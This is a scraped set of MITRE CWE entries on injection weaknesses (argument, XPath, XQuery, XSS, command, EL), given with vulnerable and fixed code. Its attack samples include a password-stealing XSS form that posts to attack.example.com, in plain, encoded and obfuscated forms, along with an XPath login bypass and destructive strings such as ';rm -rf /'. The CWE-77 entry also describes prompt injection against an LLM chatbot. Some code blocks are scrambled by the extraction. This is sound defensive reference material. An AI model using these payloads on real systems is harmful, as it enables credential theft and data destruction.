if (helper == null) { }helper = new Helper(); }return helper; The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called. Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute: (bad code)
helper = new Helper();
If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product constructs a string for a command to be executed by a separate component
in another control sphere, but it does not properly delimit the
intended arguments, options, or switches within that command string.
When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) PHP (Often Prevalent) Example 1 Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed. (bad code)
Example Language: Perl
my $arg = GetArgument("filename");
do_listing($arg); sub do_listing {
my($fname) = @_;
}
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
}return; # build command my $cmd = "/bin/ls -l $fname"; system($cmd); sub validate_name {
my($name) = @_;
}
if ($name =~ /^[\w\-]+$/) {
return(1);
}else {
return(0);
}However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories. There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions. Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option. Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as: (good code)
Example Language: Perl
if ($name =~ /^\w[\w\-]+$/) ...
Example 2 CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer. The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information: (informative)
Example Language: XML
<users>
<user> </users><login>john</login> </user><password>abracadabra</password> <home_dir>/home/john</home_dir> <user> <login>cbc</login> </user><password>1mgr8</password> <home_dir>/home/cbc</home_dir> The Java code used to retrieve the home directory based on the provided credentials is: (bad code)
Example Language: Java
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()"); Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml")); String homedir = xlogin.evaluate(d); Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes (attack code)
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
This lets user "john" login without a valid password, thus bypassing authentication.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Cross-site scripting (XSS) vulnerabilities occur when:
There are three main kinds of XSS:
Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking." In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Web Based (Often Prevalent) Example 1 The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario). (bad code)
Example Language: PHP
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>'; Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as (attack code)
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker: (attack code)
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser: (result)
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post"> Username: <input type="text" name="username" /><br/> </form>Password: <input type="password" name="password" /><br/> <input type="submit" value="Login" /> </div></div> The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability): (attack code)
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input %22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php %22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text %22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A +%3Cinput+type%3D%22password%22+name%3D%22password%22 +%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22 +%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A The same attack string could also be obfuscated as: (attack code)
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073 \u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064 \u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067 \u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D \u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063 \u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F \u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D \u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061 \u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068 \u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070 \u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D \u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079 \u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061 \u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065 \u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073 \u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075 \u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073 \u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022 \u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E \u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D \u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C \u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F \u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script> Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs. Example 2 The following code displays a Reflected XSS (Type 1) scenario. The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user. (bad code)
Example Language: JSP
<% String eid = request.getParameter("eid"); %>
... Employee ID: <%= eid %> The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user. (bad code)
Example Language: ASP.NET
<%
protected System.Web.UI.WebControls.TextBox Login; protected System.Web.UI.WebControls.Label EmployeeID; ... EmployeeID.Text = Login.Text; %> <p><asp:label id="EmployeeID" runat="server" /></p> The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response. Example 3 The following code displays a Stored XSS (Type 2) scenario. The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name. (bad code)
Example Language: JSP
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); }%>String name = rs.getString("name"); Employee Name: <%= name %> The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID. (bad code)
Example Language: ASP.NET
<%
protected System.Web.UI.WebControls.Label EmployeeName; ... string query = "select * from emp where id=" + eid; sda = new SqlDataAdapter(query, conn); sda.Fill(dt); string name = dt.Rows[0]["Name"]; ... EmployeeName.Text = name;%> <p><asp:label id="EmployeeName" runat="server" /></p> This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. Example 4 The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario. CreateUser.php (bad code)
Example Language: PHP
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName); $query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ; mysql_query($query); /.../ The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information: ListUsers.php (bad code)
Example Language: PHP
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query); if (!$results) { exit; }//Print list of users to page echo '<div id="userlist">Currently Active Users:'; while ($row = mysql_fetch_assoc($results)) { echo '<div class="userNames">'.$row['fullname'].'</div>'; }echo '</div>'; The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message. Example 5 The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement: (bad code)
Example Language: PHP
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in."; //save HTML-formatted message to file; implementation details are irrelevant for this example. saveMessage($announceStr); An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like: (attack code)
<script>document.alert('Hacked');</script>
The raw contents of the message file would look like: (result)
<script>document.alert('Hacked');</script> has logged in.
For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause. Applicable Platform XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterMany protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies AI/ML (Undetermined Prevalence) Example 1 Consider a "CWE Differentiator" application that uses an an LLM generative AI based "chatbot" to explain the difference between two weaknesses. As input, it accepts two CWE IDs, constructs a prompt string, sends the prompt to the chatbot, and prints the results. The prompt string effectively acts as a command to the chatbot component. Assume that invokeChatbot() calls the chatbot and returns the response as a string; the implementation details are not important here. (bad code)
Example Language: Python
prompt = "Explain the difference between {} and {}".format(arg1, arg2)
result = invokeChatbot(prompt) resultHTML = encodeForHTML(result) print resultHTML To avoid XSS risks, the code ensures that the response from the chatbot is properly encoded for HTML output. If the user provides CWE-77 and CWE-78, then the resulting prompt would look like: However, the attacker could provide malformed CWE IDs containing malicious prompts such as: This would produce a prompt like: Instead of providing well-formed CWE IDs, the adversary has performed a "prompt injection" attack by adding an additional prompt that was not intended by the developer. The result from the maliciously modified prompt might be something like this: While the attack in this example is not serious, it shows the risk of unexpected results. Prompts can be constructed to steal private information, invoke unexpected agents, etc. In this case, it might be easiest to fix the code by validating the input CWE IDs: (good code)
Example Language: Python
cweRegex = re.compile("^CWE-\d+$")
match1 = cweRegex.search(arg1) match2 = cweRegex.search(arg2) if match1 is None or match2 is None:
# throw exception, generate error, etc.
prompt = "Explain the difference between {} and {}".format(arg1, arg2)... Example 2 Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed. (bad code)
Example Language: Perl
my $arg = GetArgument("filename");
do_listing($arg); sub do_listing {
my($fname) = @_;
}
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
}return; # build command my $cmd = "/bin/ls -l $fname"; system($cmd); sub validate_name {
my($name) = @_;
}
if ($name =~ /^[\w\-]+$/) {
return(1);
}else {
return(0);
}However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories. There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions. Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option. Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as: (good code)
Example Language: Perl
if ($name =~ /^\w[\w\-]+$/) ...
Example 3 The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system. (bad code)
Example Language: C
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat "; }strcat(cmd, argv[1]); system(cmd); Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition, leading to OS command injection (CWE-78). Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120). Example 4 The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user. (bad code)
Example Language: Java
...
String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat "
+btype+ "&&c:\\utl\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ... The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology The "command injection" phrase carries different meanings, either as an attack or as a technical impact. The most common usage of "command injection" refers to the more-accurate OS command injection (CWE-78), but there are many command languages. In vulnerability-focused analysis, the phrase may refer to any situation in which the adversary can execute commands of their own choosing, i.e., the focus is on the risk and/or technical impact of exploitation. Many proof-of-concept exploits focus on the ability to execute commands and may emphasize "command injection." However, there are dozens of weaknesses that can allow execution of commands. That is, the ability to execute commands could be resultant from another weakness. To some, "command injection" can include cases in which the functionality intentionally allows the user to specify an entire command, which is then executed. In this case, the root cause weakness might be related to missing or incorrect authorization, since an adversary should not be able to specify arbitrary commands, but some users or admins are allowed. CWE-77 and its descendants are specifically focused on behaviors in which the product is intentionally building a command to execute, and the adversary can inject separators into the command or otherwise change the command being executed. Other Command injection is a common problem with wrapper programs.
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
